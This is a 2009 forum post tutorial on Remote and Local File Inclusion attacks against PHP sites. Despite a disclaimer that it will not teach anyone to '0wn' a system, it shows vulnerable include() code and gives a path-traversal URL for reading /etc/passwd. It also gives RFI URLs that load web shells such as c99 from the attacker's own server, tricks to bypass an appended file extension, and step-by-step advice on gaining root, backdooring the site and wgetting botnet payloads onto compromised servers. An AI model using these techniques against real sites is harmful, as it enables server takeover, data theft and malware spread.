Remote File Inclusions

Docs that have proven to be a staple in understanding computer/network security. This is not an inclusive forum and nothing ipublished will tell you how to 0wn someone, these docs will help you understand how you got 0wnd.
Post Reply
User avatar
Aiden
Administrator
Posts: 1080
Joined: Tue Oct 31, 2006 11:11 pm
Location: /usr/bin/perl

Remote File Inclusions

Post by Aiden » Wed Sep 16, 2009 4:47 am

Remote File Inclusions (or RFIs for short) are one of the most common remote code execution (RCE) website exploits. The concept is simple: a website vulnerable to RFI allows you to include your own file or script. When you can run close to anything you want on a site, the possibilities are nearly endless.

Commonly, attackers will include the c99 or r57 shells on servers. These will allow direct shell access to the server, which can allow someone to log into the mysql database, download files, edit files, add users, or run arbitrary code.

How it works
Webmasters tend to take shortcuts when they can. For larger sites, it's very common to have a "loading" page, that loads in content (based on what the user requests) from a database or file. This has many benefits but, if not properly sanitized, can open the door to the ugly world of remote file inclusions.

A very simple loading page might look like this:

Code: Select all

<?php
    include($_GET['page']);
?>
A website would utilize the above code simply by having a URL structure such as http://www.site.com/index.php?page=index.html or http://www.site.com/index.php?page=downloads.html. These two urls would include the server's index.html and downloads.html files, respectively. As a user, we could change the URL to index.php?page=anything_we_want and it would try to load that file. Without sanitation, it would error out because the file doesn't exist.

Using the above example, attackers to a website are usually able to include sensitive system files such as /etc/passwd through the same way. This is called Local File Inclusion (LFI) and would be done like this:
http://www.site.com/index.php?page=../. ... /passwd%00. Simple, eh? (The %00 on the end is a NULL string and removes anything after the string, if the server appends a ".html" or ".php" to the end. The string of ../ traverses to the root directory.)

RFIs include files from other websites, so we need to upload our file to another server - one we have access to already. Create the following file and name it info.php:

Code: Select all

<?php
   phpinfo();
?>
Now, you should be able to include your file by remotely including it.
http://www.site.com/index.php?page=http ... x/info.php

If all goes well, the RFI-vulnerable site will now be displaying to you it's phpinfo() data - this includes server specs, php installation and config values, modules installed, and just generally interesting (and sometimes valuable) information. If you're viewing the server specs for your server, just change info.php to info.txt or info.inc. The problem is that your server is evaluating the PHP before passing the file to the server being attacked, so changing the file extension so the PHP isn't evaluated will solve your problem.

As I mentioned earlier, attackers usually include some sort of interactive shell such as c99.php. When this file is included, it gives the attacker a command line to run commands at. By typing uname -a, you can find the version of linux (or god forbid Windows) the server is running. I'd venture to guess that most servers that are vulnerable to RFI aren't going to be 100% up-to-date all the time. You can use a full disclosure exploit database such as milw0rm to find a local root or priviledge escalation exploit for your version of linux. Congratulations, you have root!

After you have root, you may want to backdoor the site in case the owner finds its intruder. This article isn't going to go into how to backdoor a system - you'll have to check back later for another article for that. One thing I will say, however, is that if you're having trouble looking for a folder with write-access to download the exploit to, you should try /tmp. It's writeable by default.

In the real world, websites aren't as extremely vulnerable as the above index.php example. However, a lot of solutions people think protect themselves can be overcome with a bit of critical thinking.

For example, I used to run a large website where my index.php would load multiple other pages. I didn't know much about RFIs at the time, and assumed some code like the following would protect me:

Code: Select all

<?php
   $filename = addslashes($_GET['page']);
   @include($filename . ".html");
?>
Yeah, yeah, yeah - I know it's noob now. Don't worry. :P For those less PHP-savvy people out there, the above code takes an argument like index.php?page=downloads (it receives "downloads") and appends ".html" to the end and includes that page (in this case, "downloads.html").

Now, you may be thinking, how could any .html page that you could include be helpful to an attack? Well, this defense actually doesn't work. Two major ways to circumvent it are:
1. Use a local .htaccess mod_rewrite to point included_file.html to c99.php on your server, and use the URL http://www.site.com/index.php?page=http ... luded_file. The script will append ".html" to the end, and then your .htaccess file will kick in and include c99.php instead of included_file.html.
2. Or you can just add a simple question mark. Consider the following URL:
http://www.site.com/index.php?page=http ... ax/c99.php?

That URL would resolve in the PHP to including http://www.yourserver.com/hax/c99.php?.html, and if you know anything about query strings, you will know that now ".html" is passed as GET value. In this case, it can be ignored since our script doesn't deal with any GET values, allowing us to successfully include any file we want again.

Infecting vulnerable servers
RFIs aren't only used to harvest information from databases or to deface websites. If you have a botnet or backdoor coded, for example, you can easily infect servers manually that are vulnerable to remote file inclusion. After getting your c99 shell included and ready to use, simply wget your payload from a server and run it. If the server doesn't have wget installed, you can ftp or scp it over to the infiltrated server (depending on what they do have installed.)

Note:
You'll also find this article at http://maldesign.netau.net/2009/07/11/r ... ions-rfis/. I'm the author there - just pointing this out so I don't get accused of plagiarism. :P
"When it takes forever to learn all the rules, no time is left for breaking them."

Post Reply